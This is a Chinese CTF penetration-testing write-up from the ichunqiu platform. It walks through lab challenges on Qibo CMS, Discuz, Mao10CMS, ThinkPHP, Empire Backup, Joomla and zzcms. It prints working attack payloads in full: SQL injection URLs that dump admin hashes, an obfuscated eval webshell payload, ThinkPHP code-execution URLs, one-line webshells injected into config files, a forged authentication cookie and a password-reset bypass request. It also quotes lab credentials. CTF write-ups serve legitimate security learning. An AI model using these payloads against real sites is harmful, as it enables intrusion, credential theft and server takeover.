平台:ichunqiu.com

渗透测试笔记

目标网站是一个齐博cms,先扫一波目录

没找到有啥默认用户名和密码,但输入admin提示的是密码错误,但输其他的会显示用户错误,尝试对admin爆破即可。失败

注册个普通账号,啥都点一下,想起来以前好像做过齐博cms更新资料有个报错注入,百度了一下,可能版本不一样这里没userinfo,pass。

但还是找到一个整站注入:https://www.seebug.org/vuldb/ssvid-94157

直接爆了管理员账号密码

但这里密码hash没显示完全,改一下payload

1
2
index.php?jobs=show&label_hf[1' and extractvalue(1,concat(0x5c,(select concat(username,password) from qb_members limit 1)))%23][2]=asd
index.php?jobs=show&label_hf[1' and extractvalue(1,concat(0x5c,(select substr(password,20,30) from qb_members limit 1)))%23][2]=asd

跟之前的拼接一下得到密码hash:b10a9a82cf828627be682033e6c5878c,解密网站解得:whoami!@#123

登陆后台

百度到了一个后台Getshell,https://xz.aliyun.com/t/2248,试一下

增加栏目为${assert($_POST[a])},再菜刀连接/data/guide_fid.php,出错,失败

再试下这个:https://www.uedbox.com/post/41188/

点击生成静态

成功getshell

找到flag文件

第三题

打开网站是个discuz论坛

没看清题目还以为这是两个服务器的站。。。那么直接在刚刚获得的shell里操作

找下论坛的数据库文件,没找到,瞄一下wp,在dedecms.bak的data文件夹里(问号)

在菜刀的数据库管理填下信息登上去

然后就是翻salt值,查看所有包含salt字段值的列

select * from information_schema.columns where column_name = 'salt'

到相应位置读取值,这里有两个,看下用户名分别对应哪个即可

这不是DZ漏洞?

打开网站是dz论坛,在网站底部看到是dz3.1

百度下相关漏洞,找到了x3.1的插件/utility/convert/index.php存在代码执行漏洞

试下,页面没被删除

payload:a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes

用菜刀连接/utility/convert/data/config.inc.php

拿到flag

reinstall

扫一遍没发现啥,看题目是reinstall想到可能是有Install文件没删,install请求无果但是install.php.bak成功

啥都不知道肯定安装不成功,但出错的时候把配置文件路径爆出来了

访问几个目录啥都没有,百度到了一个Mao10CMS前台Getshell,提到了Application/Common/Conf/db.php 也就是这个环境中爆出来的配置文件安装没有做任何过滤,直接就是安装了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if($_POST['db_host'] && $_POST['db_name'] && $_POST['db_user'] && $_POST['db_prefix'])
{ $file = "Application/Common/Conf/db.php";
$data = " 'mysql', // 数据库类型
'DB_HOST' => '".$_POST['db_host']."', // 服务器地址
'DB_NAME' => '".$_POST['db_name']."', // 数据库名
'DB_USER' => '".$_POST['db_user']."', // 用户名
'DB_PWD' => '".$_POST['db_pwd']."', // 密码
'DB_PORT' => 3306, // 端口
'DB_PREFIX' => '".$_POST['db_prefix']."', // 数据库表前缀
'DB_CHARSET' => 'utf8', //数据库编码
'ADMIN_LOGIN' => '".$_POST['admin_login']."', //创始人账号
'ADMIN_PASS' => '".$_POST['admin_pass']."', //创始人密码
); ?>";
$db_info = file_put_contents ($file, $data);
if($db_info) { $callback = 1; } else { $callback = 2; };
$con = mysql_connect($_POST['db_host'],$_POST['db_user'],$_POST['db_pwd']);
mysql_query("CREATE DATABASE ".$_POST['db_name'],$con);
if (!$con) { $callback = 2; }; } else { $callback = 0; } ?>

db_host,db_user,db_name,db_pwd会写入数据库,但db_prefix会写入配置文件,写入一句话木马即可getshell

实践一下,按照文章里的方式构造一句话木马

',把前面闭合,,//把后面注释

提交再用菜刀连接,成功getshell

在html文件夹里找到flag

框架漏洞

登录失败的时候爆出了是一个叫shuguang的cms

百度了一下这个cms基于Thinkphp开发,尝试让框架报错爆出来是tp2.1

2.1可执行任意系统命令,直接搜payload了,

index.php/Index/index/name/$%7B@phpinfo%28%29%7D输出phpinfo()信息

http://www.test.ichunqiu/index.php/module/action/param1/${@print(eval($_POST[c]))}菜刀直接连接

得到flag

越权访问

搜下webftp,了解到相当于一个WEB文件共享程序,也就是网盘。

抓个包爆破出了弱密码

但无论是上传文件,创建文件还是创建目录都没有权限,然后扫目录发现还有个bak目录,是帝国备份王后台

百度下相关信息,了解到存在万能cookie从而造成任意登录,并且可以getshell

使用文章中的万能cookie访问admin.php

1
2
3
4
ebak_loginebakckpass:119770adb578053dcb383f67a81bcbc6 
ebak_bakrnd:35y5cCnnA4Kh
ebak_bakusername:admin
ebak_baklogintime:4070883661

继续按照文章中的方法getshell

备份数据到safemod

到管理备份目录打包下载,这里备份后的safemod目录下所有的表都是以PHP保存的

本来可以下载看到备份文件的内容,但ichunqiu的内网靶机看不了,就直接看文章中的吧

例如它的文件格式会是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$b_table="ecs_ad_custom";
$tb[ecs_ad_custom]=1;

$b_baktype=0;
$b_filesize=300;
$b_bakline=500;
$b_autoauf=1;
$b_dbname="test";
$b_stru=1;
$b_strufour=0;
$b_dbchar="auto";
$b_beover=0;
$b_insertf="replace";
$b_autofield=",,";
$b_bakdatatype=0;
?>

将字符: $b_bakdatatype=0;替换为: $b_bakdatatype=0;eval($_POST['a']);

再用菜刀连接bdata/safemod/config.php,成功getshell

得到flag

信息泄露

Joomla,扫个目录,有后台还有phpmyadmin页面,但后台登录就500,只有尝试爆破phpmyadmin,无果

然后瞄wp,说是原题有个提示,可以下载到网站的源码,目录下有个configuration.php文件,直接请求下吧

configuration.php空白,加个~泄露出了文件信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class JConfig {
public $offline = '0';
public $offline_message = 'This site is down for maintenance.<br /> Please check back again soon.';
public $display_offline_message = '1';
public $offline_image = '';
public $sitename = 'web2';
public $editor = 'tinymce';
public $captcha = '0';
public $list_limit = '20';
public $access = '1';
public $debug = '0';
public $debug_lang = '0';
public $dbtype = 'mysqli';
public $host = 'localhost';
public $user = 'root';
public $password = '9550bef955f9';
public $db = 'web';
public $dbprefix = 'm9w42_';
...

可以看到直接给了mysql的数据库,用户名,密码等信息,这样就可以登录phpmyadmin了

在web中找到joomla管理员后台的密码

但可能环境有问题还是500登不上去,pass吧,看了下wp后面是登录进去之后可以编辑模板插入一句话木马,提交之后根据标题提示,用菜刀连接template/atomic/index.php即可getshell

代码执行

又是个discuz

依旧扫后台,爆破走一套

其他没啥,robots.txt爆出了一些文件

待续。。。

session欺骗

首页底部得知是zzcms并且后台管理入口就在底部

密码不知道,扫一波目录

并且这些目录都是有查看权限的

百度到了一个任意用户密码修改漏洞,试下

首先抓包/admin/ZC_Password请求,改成post请求,再在body处加上payload:name=admin&newpass=123333&newpass1=123333&&submit=%E7%99%BB+%E5%BD%95

发包,成功登录后台

左侧找到添加下载,可以上传一句话木马,并直接返回了路径

那么直接上菜刀,getshell,flag在html目录下